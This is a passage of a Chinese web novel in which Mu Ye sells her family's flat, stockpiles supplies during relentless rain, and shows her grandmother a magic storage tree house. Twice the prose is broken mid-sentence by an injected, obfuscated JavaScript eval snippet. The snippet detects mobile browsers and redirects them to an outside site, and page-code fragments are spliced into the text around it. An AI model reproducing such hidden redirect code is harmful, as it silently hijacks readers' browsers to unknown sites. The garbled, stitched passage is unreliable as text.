“但是我们保证、可以写在协议里，以后每个月的工资优先用来付款，只留一点生活，我们是真的很想买这套房子，求你考虑一下，把房子卖给我们吧！” 穆叶看向中介小哥，发现他正用疑惑的眼神打量这对骗了他的夫妻。 “我说，钱不够你们可以找商业贷款啊，找房主做什么？” 男人不说话，嘴巴抿成一条线，木木地看着地面，女人则是用一双像是汪着水的满含乞求的眼睛看着穆叶。 中介瞬间明白了：贷款是有利息的，他们刚刚一点没提到利息，只说分期付款，看来这就是他们要见房主的原因。 中介嘴动了动嘴唇，也看着穆叶。带来了不合要求的买家已经是他的失误了，帮着劝房主同意是绝不可能的。 穆叶不知道经过了怎样的思考，一段时间后，她正色说：“不好意思，房子不能卖给你们。你们上有老人下有孩子，现在的生活也不差，何必执着于买房呢？” 夫妻俩沮丧地走了，中介小哥把人送下楼。 坐在客厅里，观看了全程的周羽萍终于出声。 “我看他们的意愿挺强烈的，如果提出让他们去贷款，你再让点价，我觉得这买卖能成。” “我知道，他们挺喜欢这房子的，”穆叶转头看她，“但于情于理都不能卖给他们。” “不管是接受他们的提议，还是让他们去贷款，那一百多万对我而言不清楚够不够用，对他们而言是花光了所有积蓄。我找全款买家，就是不想让这笔钱给对方造成很大负担。” 周羽萍点点头。 自己都是火烧眉毛的时候了，穆叶还在考虑别人，她还是太善良了。 穆叶长长地“唉”了一声，退到沙发前倒下，看着天花板叹息：“奶奶，你说这房子能卖出去吗？” 看她的模样，周羽萍心里也不是滋味，跟着坐在沙发上，手指打转，看着正前方电视机黑屏里反射的两道人影。 穆叶瞟了眼虚拟屏幕上的倒计时。 现在显示的是13天（不足），按照原计划，回程路上绕道要5天，回到小尧村也要留5天整理物资。 剩下能耗费在平津的时间至多只有3天，而且是很紧张的3天。 “我们最多再留3天。” “3天，”周羽萍喃喃道，忽然，她想起件事，“你说我们去银行抵押贷款怎么样？” “来不及的。”折返出现在门口的中介小哥说。 他送走那对夫妻，觉得今天这件事做的实在太粗糙，想上来道个歉，就听见她们说银行抵押贷款。 “不好意思，今天这两个人是我没确认清楚，耽误你们时间了。”他鞠躬说。 穆叶摆摆手，人家有心隐瞒，他也不可能知道。 她反问：“你说来不及是什么意思？” “我是说急用钱的话，银行抵押贷款来不及，”中介小哥直起身说，“找大型银行抵押贷款，最顺利的情况也得要3周。” 穆叶的眉头又拧紧了。 “我倒是有两个办法，”中介小哥面上有点犹豫，走上前一步，“我们公司有金牌销售，他们有客源，能做到24小时包售，但是佣金可能要加到成交价的3%。” “3%？那得是多少钱啊。”周羽萍到吸一口气。 “另一个办法呢？”穆叶问。 “另一个办法，你们知道做全款收房的房产投资公司吗？他们有专门的资金用来收房，只要产权没问题，3至7天就能把钱全部给你们。” 24小时包售和全款收房吗，还是内行人才懂这些操作啊。 穆叶当即决定同时找金牌销售和全款收房，并让中介小哥帮忙多操点心，成功交易后，她愿意额外给他一万块酬谢。 中介小哥高高兴兴离开了，稍晚时候，就发来了24小时包售的电子协议。 穆叶大致看看条款，没有问题就签了字。 只要能把房卖出去，和她能拿到的钱相比，那十多万佣金也不算什么了。 至于等待这三天，虽然时间紧张得让她忍不住着急，但着急也没用。 平津是一线大城市，想得到的，想不到的，还有很多别的城市没有的，在这都能买到。 她该抓住这个时机才对。 16. 第 15 章 前一晚刚签完协议，第二天十一点，这位很有实力和人脉的金牌销售，就带着资金充足的买家上门看房了。 中介小哥那边甚至才和靠谱的房产投资公司联系上。 穆叶收到消息的时候，感叹了一声不愧是金牌销售。 其实和房产投资公司的目的一样，这些所谓销售的人脉，买房目的也是炒房，只不过一边是成体系的公司，一边是个人玩家。 专业的事还得交给专业的人做，既然签了协议，她就放心把卖房的事交给对方。 穆叶现在最想知道的其实是，皮划艇究竟是买硬壳的，还是买充气或折叠的好呢。 她今天一大早就出了门，先是去了趟批发商场，找专做床上用品的店，做了4条最大规格的充绒量高达95%的鹅绒被，和3条最大规格的驼绒被，还买了5条牛奶绒毯子。 末世极寒已经是板上钉钉的事，要如何在零下三四十度的环境生存，对于她这个依赖供暖、身体里流淌着南方血液的人来说，是个值得认真思考的问题。 先前她已经买过睡袋，但使用的极限温度只是-33度，这些被子毯子就是用来补足缺口的。 从商场出来，她本想冲进高端户外服装店，再买点极寒天气下外出必备的羽绒服羽绒裤什么的。 但行驶到北市区时，有很长一段路都积水了，最夸张的一个路口洼地，污水中央起了几个小漩涡。 有工作人员去检查排水口，小腿肚以下的部位都泡在了水里，交警放置警示牌，指挥开过来的车掉头再开回去。 穆叶跟着掉头，转弯时看见污水拍在人的腿上激起浪花。 她顿时想到，这异常的雨毫无停歇地下了四天，小区里池塘的水都满边了，如果情况持续下去，一周后绝对会出现大范围淹水的情况。 前几年平津就经历过一场几天的暴雨，很多居民楼的一楼被淹了。 一些路段上，车的排气管有水倒灌，直接抛锚变成了人力船，全市开启看海模式。 为了应对可能出现的涝灾，她这才更换目的地，来了市中心的这家户外用品店。 穆叶拿出手机，搜索了不同皮划艇的优缺点、使用注意事项后，确定了加厚的充气皮划艇更能满足需要。 充气后足够宽大提供了稳定性，加厚材质不容易刮擦漏气，轻便，放气后折叠也不占多少空间，全是优点啊。 虽说使用前需要点准备时间，但身后的货架上就有充气抽气两用的高压充气泵。 再配上电动推进器解决动力问题，简直完美。 穆叶叫来店员，拿了两个有独立气室、材质加厚的充气艇，再配齐两套电动推进器、救生衣、充气泵、浮力袋、修补工具等核心装备。 涉及到电动推进器的使用，店员把这堆货放在原地，让穆叶等一等，会有专门负责的人来讲解如何安装使用。 店员离开后，穆叶趴在栏杆上往下看——皮划艇区域在二楼，楼下是运动食品和科普书籍区域——有两男一女站在书柜前，正在研究一本求生书。 女生手里提着购物篮，里面装满了食物。 她看着同伴不解地说：“《野外生存绳结大全》？前年你生日，我不是送过你一本吗？” 穿黄色羽绒服的男生指了指书的作者：“不一样，这本是国外很火的求生博主写的，他视频里教的好几个打结方法都很有用，我早就想学了。” “行吧，”女生点头，拿起旁边的书，“那我也拿一本吧，《户外生存》怎么样，还带图解的。” 黄羽绒服男生点头，看向另一人：“快拿一本，我送给你！你才开始接触末日生存，赶紧补课。” 他们三人是末日求生迷，因为这个爱好才认识的，只是另一个男生加入得晚些。 “不用了吧，这些东西上网搜不就好了。” “你这就外行了，我们求生迷都得留后手的，末日来了哪里有网给你搜？”他歪嘴一笑，指指自己的鼻子，“不瞒你说，我真嗅出点末日的味道。” 女生给了他后背一巴掌，对他很无语：“每次遇见大风、大雨、大雪天你都这么说。瞧你那兴奋劲，真遇上末日，指不定怎么哭呢！” 黄羽绒服男生一脸狰狞，反手揉着后背：“我一房间的求生技巧书，能是白买的吗？” 他又催促另一个男生选，这回对方没再推脱，拿了和女生一样的《户外生存》。 三人离开后，穆叶走楼梯下来，把书架上的书横扫一遍，和皮划艇一起拿去结账。 之后，离开户外用品店，她又去了渔具店、五金店等地方，买钓具、汽油箱、塑料膜等东西，一点点补齐还没买过的物资。 …… - 倒计时10天（不足），下午三点半。 沙发上的手机发出“叮”的一声，穆叶拿起来看，是银行卡入账三百七十万的提醒短信。 房子已经卖出去了，卖给金牌销售在24小时内带来的第二个买家。 当天就签了合同，因为大额转账的限制，到今天才把钱给她。 穆叶按照协议支付了金牌销售3%的佣金，又给中介小哥转了一万块。 虽然最后成交不是和房产投资公司，但为这件事，他忙前忙后付出不少，应该给的。 把这段时间在消费软件上借的钱还清，剩余的钱到倒计时结束都花不完。 再也不用因为预算不足，在两种物资里做选择题。 都买！都要！这就是有钱的感觉吗！ 穆叶拍了拍胸口，情绪高涨起来。 “拿到钱了，奶奶！我们现在就启程，要先去趟加油站加两箱油，晚饭等到易城吃吧，一会到便利店买点零食带上。” 她走进厨房，拿起放在桌上的锅碗瓢盆准备收进空间里，周羽萍跟了进来，抬手把腕上硬币大小的黄铜色手表伸给穆叶看。 “要不就在家里吃吧？” 周羽萍话里有犹豫，“离饭点也不远了，我给你包饺子吃，是在这吃的……最后一顿了。” 穆叶愣了愣。 即便奶奶不说，从低垂的眼尾、紧绷的嘴唇也能看出她对这儿的不舍。 其实穆叶也没有表面看上去那么平静。 毕竟这是她们生活了十年的地方，是她们的家。 即便斩钉截铁说必须卖房的人是她，但她也没做好割舍掉这份情感牵绊的准备。 穆叶上前一步抱紧奶奶，拍着她后背安慰：“等我们回到庆阳，我立马就给爸妈买机票让他们来，马上我们一家人又能团 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周羽萍用漏勺捞起漂浮的饺子，放进碗里，倒入4勺酱油2勺醋，3滴芝麻油和1勺辣椒油。 不管后面会发生什么，她必须做好力所能及的事，就算帮不上忙，也不能拖后腿。 - “前方山体滑坡，正在紧急抢险救灾，可在800米后进入黄宁服务区绕行，避开事故路段。” “亲爱的车主，雨天路面湿滑，请小心驾驶哦……” 穆叶轻带刹车，车速稍微降下来些。 行驶在两山之间，天光比山外更暗。 前方的道路被山坡上滚下的混着花草的泥土块、巨石占满。 路对面服务区一片狼籍，便利店的玻璃窗被砸破一个大洞，山石全部涌进去。 角落里的卫生间也被压垮，化粪池暴露出来，整个区域味道浓郁到迷眼睛。 路中巨石泥土堆前面放着三个长条挡板，车光照上去，反射回“抢险救灾”四个字，旁边穿反光雨衣的工作人员正拿着铁锹，配合挖机一起清理道路堵塞。 对向的路完全堵死了，交警挪开路中间的围栏，用橙色锥筒划出两条路，引导车辆往尚存的服务区借道通行。 穆叶进入黄宁服务区后，在偏僻的角落停车，摇醒奶奶，从空间里拿出两盒自热米饭。 周羽萍睡得迷迷瞪瞪：“诶我怎么睡着了？” 穆叶没有熄火，稍微把车内空调的温度降低了点，“睡着也没事啊，我早说了不用你硬撑着陪我说话，困了就睡呗。” “我哪敢放心，你看这一路上下雨下得到处淹水，我们都绕了不少路，还有新闻里说的三魁镇，被河水冲垮了一大半，村民都坐在房顶上等着救援，谁想到这雨就停不下来了，到今天可就整整十天了，奇怪着呢。” 周羽萍拍了拍胸口，心有余悸：“我看你今晚就打电话给你爸妈，让他们坐飞机过来，他们要是不愿，你就说是我让的！” 穆叶连声说好，从空间里拿出一个水壶，倒了点水在自热包上，放好饭菜，盖上盖子等热。 周羽萍这才注意到周围的环境，她们在一个服务区里。 17. 第 16 章 她们正在服务区的小型车停车区里，不远处是山。 没等细看，旁边紧靠她们停进来一辆车，驾驶座上下来了个男人。 男人伸了个懒腰，目光在她们的车玻璃上停留了几秒，下一刻才看向更远的地方。 周羽萍心脏狂跳一下。 穆叶说窗子贴了单向膜，但她一和外面打量的视线对上，就觉得车里情况被看得清清楚楚。 尤其是持续暴雨，物资紧缺，市民疯抢食物这种情况下，穆叶开车带她穿梭在农村道路上，从各种蔬菜、水果的养殖大棚和食品加工厂里，以较低价格囤了大量新鲜的食物。 “咱们到哪了？” 周羽萍转过身体，用背对着车窗。 穆叶：“黄宁服务区，还剩100公里，撑死两个半小时就到家了，反正已经比预期多花了一天，也不差这会儿，我俩总不能一直饿回家吧？” 白烟从饭盒盖的气孔里喷出来，车里很快被红烧牛肉和辣椒炒鸡的霸道香味，塞了个满满当当。 穆叶又拿出两个真空包装的盐焗鸡腿放在饭盒上加热。 旁边下车的男人离开了一会儿，没多久又回来了，他打开车后座抱出女儿，叫上老婆，三人一起朝着便利店方向跑去。 隔着车门，只是隐约听见他说“一人一盒”、“必须在场”什么的。 周羽萍伸长脖子追着他们的背影：“外面怎么了？他们这么着急去哪？” “山体滑坡把路堵了，他们估计是去便利店买东西了，”穆叶想了想，解开安全带，从车门下拿出雨伞，“奶奶你别下车，我去把最后的油箱加满。” 穆叶带着口罩，提着一个30L的汽油桶，打伞走在柏油路上。 一路上的停车位都满了，其中还有几辆拉钢筋建材的大车，但这些车里都没人。 人全跑去便利店门口了。 穆叶淡然地走进加油站，用“越野爱好者，要长途旅行”的借口，又成功加到了油。 浓烈的汽油味也遮不住化粪池的臭味，口罩反而加深了窒息感。 穆叶拉了拉口罩，忍不住干呕了一声。 真不知道那些不戴口罩，在便利店门口排队的人怎么忍的。 穆叶的目光落在不远处便利店快被挤爆的自动门上。 “小姑娘，你不去买点东西？”工作人员挂好加油枪，和她闲聊，“这几天便利店补货越来越晚，这次刚好让你赶上了，其他人不缺吃的，也跟着排队呢。” 穆叶笑笑：“这么多人，便利店的东西都不够买吧！” “还真不是，他们前两天就出通知了，方便面限购一人一盒，饼干那些也有数量规定，吃点垫垫肚子还是可以的。谁会嫌饭多不是？” 穆叶有点好奇，点头说一会儿去看看。 她把汽油通拎回车里，借遮挡收进空间，转身又前往便利店。 便利店门口，穿着绿色围裙的女店员拿着大喇叭喊话，她的同事穿行在队伍里，维持排队秩序。 “排成一列，有序选购。方便面限购，一人一盒，要买给五岁以上的小孩吃的，必须抱孩子来让我们确认！再说一遍……” 穆叶看见旁边车的一家三口刚好排到。 原来必须带着老婆孩子一起来，才能买到她俩那份食物。 这一家三口拿着食物离开了，他们后面的两个男人就到了第一排。 “要三盒方便面，”戴着毛线帽的圆脸男人伸出三根手指，“我们有个小孩。” 女店员说：“有小孩要带来给我们确认的，麻烦你们去叫一下孩子吧。” 另外瘦高些的男人说：“小孩生病了，在车里呢。” 女店员狐疑地看着他俩：“就这么一会儿功夫，抱着就过来了，看不见人不能卖给你们。” 圆脸男人拔高音调喊了一声，“你这就不讲理了，我都说小孩病了带不过来，你这不是强人所难嘛！就算你没结婚，也该体谅我们当父母的心。” 瘦高些的男人附和：“是啊，你们要看小孩，先把东西卖给我们，再找人跟我们去车里看呗。” 总共五个店员，一个收银，两个维持秩序，两个拆箱子补货，哪来多余的人手跟他们去车上看小孩？ 偏偏这两人说完，后面排队的人也开始躁动了。 “有道理啊……” “就是啊，最近这雨天，有多少老人小孩生病，我们一路上小心保护，难道为了盒方便面让他们淋雨！” “我觉得就算有人要多买，也就是一两盒，又不是一箱两箱，搞这个限购根本没必要嘛！” 刚刚还有序的队伍完全乱了，人人都想挤上前来。 女店员拿起喇叭喊：“你们不能这样，限购是为了让每个人都吃到东西，全部排好队……” 穆叶站在人群最后面看着。 这一路过来，但凡靠近受灾严重的地区，那些地方的超市、商场，几乎都是这种光景。 人们被灾难激发出动物本能，自主囤积生存用的食物。 而地势高、雨势小的地方，除了看见每天有运送救灾物资的货车往来，似乎并不知道外界在发生什么，仍旧维持着正常生活，没有什么危机感。 真是太割裂了。 穆叶皱眉，转身准备离开，裤袋里的手机响了一声。 李安蕊发来了收货信息，后面附带几张图片，是在工业园仓库拍的货品照片。 离开平津那天早上，穆叶就发消息告诉李安蕊和杨桐，新地点是工业园的仓库，两人工作内容互换，运货计划进入第二阶段。 李安蕊紧接着又发了条消息，说因为家里漏雨了，还有病人要照顾，这个工作干不了了，很抱歉给穆叶带来麻烦。 穆叶没说什么，结清工资后又发了5000块给她，说是对她认真工作的奖励。 李安蕊推辞不要，穆叶叹了口气又解释道：原先给200一天，是没想到会下雨，后面这段时间取货运货肯定不容易，很感谢她坚持到了今天。 而且不管是修房子还是买药，都是得花钱的吧。 李安蕊没再说什么，收下了钱。 穆叶也联系杨桐，告诉他今天后工作就结束了，工资以外同样多发了5000。 杨桐没问，直接就收下了。 她既然回来了，准备物资这么重要的事就该亲力亲为。 快速吃完饭，穆叶收拾好垃圾扔掉，启动车子离开黄宁服务区。 - 时针指向十一点，穆叶的黑色越野车停在老房子门前的楼梯下。 她下车打着伞，四处察看，确认没人注意这边的动静后，才半推半扶着奶奶进家门。 “诶诶，你别推我呀！” “嘘！！奶奶你别说话……” 随着电闸打开，屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250165|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮起灯光，熟悉的场景出现在眼前，长途跋涉的劳累在这一刻达到顶峰。 周羽萍长长叹了口气，目光依次落在五颜六色的沙发帕、茶几上花瓶里的假花、挂在墙上的十字绣时钟上。 就连空气里那股陈旧的味道，也让她怀念。 她在沙发上坐下，看见穆叶匆匆从二楼下来，刚想夸她把家维护得很好，就被穆叶一把拉起来往二楼走。 “怎、怎么了？” 穆叶摇头：“奶奶你上来就知道了。” 一路穿过走廊，进入穆叶的卧室，来到她的卫生间。 周羽萍惊奇地发现卫生间里多出来一道棕色的门。 “这是？” 穆叶不说话，只是打开门示意她进去。 周羽萍吸了口气，缓缓走进那道门通向的房间。 【检测到访问者：周羽萍，请问是否要在系统中登记？注意：登记者可自由穿过传送门。】 穆叶选择了【是】。 站在原地处理了一下系统弹出的复制提示，复制了自行车、钓具、被子等比较实用的东西。 她转身关上传送门，绕到周羽萍前面，把挡在路上的钓具包、药品袋、羽绒被那些挪开。 周羽萍张着嘴巴，瞳孔微微放大。 看着眼前这一幕，她完全不知道该说什么。 这是哪里？ 为什么卫生间会有门通往这里？ 穆叶牵着奶奶，好不容易找到足够两个人落脚的地方。 除了汽油箱和一些新鲜蔬菜，她把大部分物资都单向转移到树屋内了，就算是这样，随身空间的剩余容量也只有32%了。 树屋里杂乱无章地放着吃穿住行各种物资，那辆山地自行车甚至横放在楼梯上。 她光顾着买，现在收纳问题像一座大山朝她压来了。 穆叶肩膀都沉下去了些，她转头看着奶奶：“奶奶，我知道你有很多想问的，但现在我先带你参观一下，因为之后的日子，你可能都要住在这了。” 一直处于震惊状态的周羽萍被穆叶拉着，从地下室参观到二楼。 无数她看着穆叶买的、眼熟的东西出现在这个奇怪的房间里。 这究竟是怎么一回事？ 穆叶拉着奶奶在榻榻米的台阶上坐下，“奶奶，这一路上你肯定也猜测过，有些话我不能直说，但你可以自己想出来。” 周羽萍眼里都是迷茫：“什么意思……我听不懂，你说慢一点。” 穆叶指了指树屋和散落在周围的物资，“这个房子，这些吃的喝的，你肯定能想到什么吧！” “我……”周羽萍忽然想到之前穆叶电话里的问题，“难道不久后会全国干旱？不，现在应该说是洪水吧。” 穆叶摇头：“不能说不对，奶奶你再想想呢？” “干旱、洪水……还能是什么，我不知道啊。” 穆叶着急：“可能不只是干旱、洪水，还有别的呢，类似的t……” “tian……” 穆叶瞪大了眼睛。 “天灾”的发音跃上了她的舌尖。 和在平津想要告诉奶奶时，那种滞涩、被阻碍的感觉完全不一样。 居然可以说！ 她拉住周羽萍的双手，十分严肃郑重地说：“我来讲吧奶奶，现在开始你得认真听，接下来你会知道整件事的来龙去脉。” 18. 第 17 章 “……事情就是这样的。” 穆叶说得口干舌燥，拿起旁边的矿泉水喝完最后一口。 周羽萍张了张嘴，半天才憋出一句：“原来是这样，怪不得要卖房、要买那么多东西、要让我们都来小尧村。” 她用有些粗糙的手掌，怜爱又心疼地摸着穆叶的脸。 “你一个人承受这些事那么久，真是辛苦了，奶奶向你道歉，不仅没有无条件支持你，反而让你这么为难。” 穆叶摇头：“我知道的，换谁听见那些话都会觉得我疯了，你能在不清楚事情全貌情况下，就选择相信我，还帮我撒谎骗爸妈，已经帮大忙了。” 她俯身抱了奶奶一下：“好啦，其他话等回来再说，我得赶在工业园关门前去仓库拿物资。” “这期间，奶奶你就到处看看吧，但是有一点，千万不能让邻居看见你，我怕引起他们的关注，影响咱们后续的行动。” 周羽萍这会儿理解了末世是必会到达的未来，哪还有说不好的道理。 一边跟着穆叶下楼，一边叮嘱她小心开车、早点回来。 “你放心，我肯定不出门，这几天我就收拾屋子，”周羽萍发愁地说，“这么乱怎么住人？” 穆叶龇牙，穿了双长筒雨靴离开了。 …… 开车前往杨家村仓库路上，雨势又变大了些，雨刮速度开到三档才能看清前方道路。 积水路段不少，水有一定深度，好在路上的车和行人都不多，跟着一个个红绿灯慢慢前进，马上就到了城边上一个小型商业街前。 穆叶减速渡过面前的积水，忽然一道远光灯从后面照亮前路。 刺眼的白光经过后视镜反射到她眼睛上，她偏头躲开，从右侧视镜看着后面的银色轿车破开水浪，一路加速超车。 灰黄的污水溅在右边玻璃上，穆叶忍不住骂了一句。 谁他爷爷的从右边超车啊！ 接着就看见银色轿车带起来的水浪，把路边站在一片黑暗里的人从头到脚浇透了。 那倒霉的女孩低下头用袖子擦脸，披散的头发变成一撮撮往下滴水，转身的时候露出了身后扎眼的白色双肩包。 穆叶再次放缓车速，避免对她造成二次伤害。 擦肩而过的瞬间，她看见那女孩抬头，凌乱的头发下有张熟悉的脸。 是陶诗琦。 车开远了，穆叶从后视镜看着她整理雨伞的动作，只思考一秒就做出了放弃帮忙的决定。 纵然陶诗琦现在很难打到车回家，但物资在她心里享有更高的优先级。 穆叶轻打方向盘，驾驶黑色越野车消失在雨幕里…… - 淅淅沥沥下了一夜雨，天亮时雨势终于转小。 穆叶穿着雨靴，清开堵在院墙下的石头，墙角的积水终于找到排出的路，汇入外面向集市流淌的地面水流。 转身进入室内，周羽萍站在厨房门前喊她：“来吃早饭了，小叶子。” “好！” 穆叶在餐桌前坐下，周羽萍端来两碗青菜肉丝面。 食物鲜香的味道扑鼻而来，清亮的汤上飘着奶奶自制的、从平津带来的蒜油，青菜鲜亮，肉丝泛着油光，看着就让人食指大动。 爽滑的面条送入口中，驱赶走在雨里沾染的寒意，穆叶感叹有了奶奶，生活水平比自己一个人时不知道提高了多少。 周羽萍挑起一根青菜，“我看见冰箱保鲜层里有两袋苹果，就是你说那些？” 她有意识没把话说完。 昨晚经过实验，虽然在树屋里说什么都百无禁忌，但出了树屋，限制穆叶的规则对周羽萍也一视同仁了。 不能说，不可说。 穆叶嗯了声，“从树上摘下来的，我数过一开始有30个，现在还有28个。” “我觉得剩下的先别动，”周羽萍沉吟道，“如果只是为了让你……，结一个果就够了，干嘛是三十个，万一这些东西还有别的用途。” “我也是这么想的。”穆叶无比同意。 周羽萍忽然想起什么，面露不解：“对了，我看屋里还有片土地，好像长了点杂草，那是——” “这是——” 饭后，穆叶蹲在树屋里的良田旁边，手指抬起一片弯折到地上的黄绿相间的叶子，又拨弄了一下像僵死的鱼、直挺挺倒在地上的一株幼苗。 她尴尬地抓了抓脸，弱弱地说：“这些其实是我种的菜来着……” 昨晚匆忙，完全忘了查看这些种子的生长情况。 这会儿一看，十块田里只有五块的菜苗还活着。 倒在地上的都是生菜，她查过这种菜对湿度变化比较敏感，照顾不好就容易死，十多天不浇水果然是不行的。 还有那两株直挺挺倒在外面的菜苗，可能是种子埋得太浅，所以长大了头重脚轻栽倒了？ 穆叶叹气，拿水壶接水，想把剩下五块田浇一下，再看看半死不活那些还有没有救。 “先等等，”周羽萍拦下她，拖来小凳子坐下，“这些可不是浇点水能解决的。” 她指着蔫巴耷拉的两株：“这些是缺水了，浇点水吧，也许能救回来。” 穆叶依言浇水。 她拿起倒在地上的苗，指着根部让穆叶看：“看见这没，软软烂烂的，比上面枝干细多了，这叫猝倒病，要用农药的，这块地里的菜估计活不了了。” 穆叶接过来看，还真是像奶奶说的那样，根部颜色比上面深多了，像是泡水泡过头了。 最后她指着一颗小白菜苗，让穆叶凑近看看：“这颗你再看看呢，其实已经生虫了。” 穆叶半跪着，手撑地靠过去观察，就看见菜苗的枝干和叶背上，有绿色的、比芝麻还小的虫子，紧紧粘在一起，密密麻麻聚成不规则的小团块。 细看凹凸不平的绿色里还有些黑点——是它们的眼睛。 旁边，旁边的旁边，更远的旁边……都是这个情况。 穆叶带上痛苦面具迅速远离，皮肤像过了电一样，麻得她忍不住搓手臂。 周羽萍笑出声，扶她起来。 “我不像你妈爱种花种草，但也知道这必须买药来喷，不然周围的菜都会长虫。” 穆叶一个头两个大：“怎么会这样？难道不是把种子撒下去，浇水，就可以等着收获了吗？” 小白菜耐旱，这五块田看上去长势良好，穆叶还在心里高兴呢，谁知道居然会长虫！ 她把种田想得太简单了。 “种地可是门很深的学问，哪那么轻松，”周羽萍笑着戳了她脑壳一下，“浇水、除草、施肥、除虫……这才叫种地呢！我看系统给的这个良田，和咱们现实种的地是一样的。” “一会儿你出门，顺便去趟农贸市场吧，多买点农药化肥，你买那些种子数量也不够，至少翻两番。还要重新买套栽花的工具，这些地不大，用平常的农具容易锄坏了。” 穆叶点头，连忙拿出手机来记录。 周羽萍站起来，从餐桌上一堆药盒中间拿来一张纸给穆叶。 “这是？”穆叶问。 周羽萍解释：“我昨晚一边收拾一边整理的，你看看怎么样？” 穆叶粗粗看了眼，上面写着米面油、干酵母、泡打粉、冰箱、烘干机、新鲜肉、保鲜袋保鲜膜、蔬菜种子和常用中药…… “米面油我已经买过——” “——不够，”周羽萍说，“我们四口人吃饭，需要的粮食比你想象的多，一定要多准备；冰箱我要的是饭店里那种，冻肉用的，还能冻你买的那些蔬菜水果……” “我看你还买了中药，这种治病的东西，再多都不嫌多，你按症状，多买点治肠胃、咳嗽、过敏的，再买点常用的菊花、甘草、西洋参、枸杞……” 她絮絮叨叨说了很多自己对囤货的想法。 听到最后，穆叶感叹奶奶怎么能这么靠谱！ 她提的建议真是太实用了，补充了很多她想不到的物资，含金量不亚于期末考试前递来的真题题库！ 这就是生活的智慧吗！ 穆叶把奶奶给的纸收了起来，除了市场她还有别的地方要去，事不宜迟，最好现在就出发。 她拉起羽绒服拉链，围上围巾，把车钥匙揣进包里去换鞋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说实话，挺不错的。 穆叶切出导航，进入订票软件想帮他们选位置，却被告知15:20分的航班已经取消了。 没过几分钟，她就接到了航空公司的电话，说是气象中心预报两小时后云山会有一场大雨，无法确定起飞时间，所以本次航班取消了。 穆叶听完这个消息，挂电话后立刻打给了妈妈。 杨静芮那边的背景音十分嘈杂，一阵混乱过后她才开始说话。 “小叶子，我和你爸刚进机场，这里好多人啊，现在我们准备去托运了。” “妈你等等，我刚刚接到电话，你们的飞机已经取消了。” 杨静芮惊讶地“啊”了一声，拉着穆诚靠往墙边，“取消了？怎么会这样？” “航空公司说一会儿会下大雨，不确定什么时候能飞。下一班能买票的飞机是晚上七点半，我帮你们重新买吧。” 穆叶不解，“不过你和我爸怎么去那么早啊？” “不是下雨吗，车难打，小白就开车把我俩送来了。” “那趁他没走远，让他再把你俩捎回家吧，”穆叶算了算时间，“否则你俩要等到七点半，还有六个小时呢！” 杨静芮：“那可不行。前两天简柔发高烧住院，输了几天液才好起来，今天出院她儿子要去接，所以才顺便送我俩来机场。” “我和你爸等就等了，怎么好再耽误他们。” 穆叶恍然，这种情况确实不该麻烦人家。 “好吧，那……你和我爸只能多等会儿了，你俩要是饿了就去机场的餐馆吃点东西。” 挂了电话，穆叶迅速买了七点半的机票，并开启了航班动态实时提醒，防止错过任何消息。 她又查看天气预报，发现这十多天的雨，气象信息里只是轻飘飘归因于“受极端寒潮影响”，好像这样全国范围的雨水并不是什么稀奇的事。 穆叶关了手机，看向室外昏暗的天空，总有种不详的预感。 19. 第 18 章 家电市场、屠宰场、罐头厂、酱料厂…… 穆叶一下午穿梭在这些地方，忙于购买商用冰箱和新鲜肉类，以及处理手上过多的新鲜食材。 四点四十分，她的预感成真了。 云山的雨没有要停的意思，晚上的飞机依旧被取消。 不过她错过了航空公司电话，等从妈妈那知道这个消息时，已经六点了。 这会儿杨静芮和丈夫刚打车回到家里，而穆叶正停在离家不远的路边上，开着应急灯，安静地等着暴雨过去。 前方道路可见度为零，雨水像是从天上倾倒下来的，噼里啪啦好像要把车的外壳砸出坑，四周的车玻璃上形成了厚厚的水膜，笼罩下来压迫得人喘不过气。 穆叶的心凉了，打开手机搜索天气信息和航班，却因为雨天信号不好，怎么都刷不出来。 她等不及雨势变小了，靠着对来时路的记忆，转进前方右边的小路。 她把车藏在一丛被雨打得七零八落的藤蔓下，然后下车把车收进空间，闪身回到了树屋。 …… 周羽萍正在穆叶的卧室里铺床。 昨天太晚了，洗漱后她是在树屋里睡的。 经过一晚，她就感受到了树屋的一些神奇之处：温度比外面高了不止十度，穿着短绒睡衣盖上厚被子就已经觉得热了，房间里没有开关，可只要她躺下闭上眼，所有灯就会自动关闭。 但今早得知住树屋要花钱后，她立马决定在穆叶房间里再铺张床。 刚铺好牛奶绒床单，卫生间里忽然有了声响。 她回头就看见浑身湿漉漉的穆叶从卫生间冲出来，快步跑出去了。 周羽萍愣了愣，丢下手上的事，追到楼下，就看见穆叶蹲在厨房冰箱前面狂点手机。 “怎么了小叶子？”她走近问。 “怎么办奶奶？”穆叶抬起头看她，长长短短的湿发黏在她脸上，她十分惊慌，“爸妈的飞机被取消第二次了。” 手机的订票页面上一片红色，全是不可订的状态，穆叶快哭出来了：“好像订不到票了！我早应该想到的，下雨肯定会影响飞机，我就应该让他们早点来，为什么，为什么我没想到……” 周羽萍也十分担忧，但看着已经自责到极点的孙女，只能说宽慰的话。 她拿来一块大毛巾披在穆叶背上，蹲下去揽住她肩膀。 “你又不是万能的，怎么可能提前想到那么多呢？” “……是能的，明明天气预报就写了不宜出行，我怎么会没想到呢！都怪我自作主张，太想当然了……” “你先别急，”周羽萍知道这会儿她听不进安慰的话，努力想了想说，“不行的话，看看高铁动车呢？下雨天飞机不安全，地上的总不会受那么多限制吧。” 穆叶抬头，睁大眼睛努力从摇晃的泪光里看清奶奶的脸。 她点头：“对，奶奶你说得对，还有高铁可以试试。” 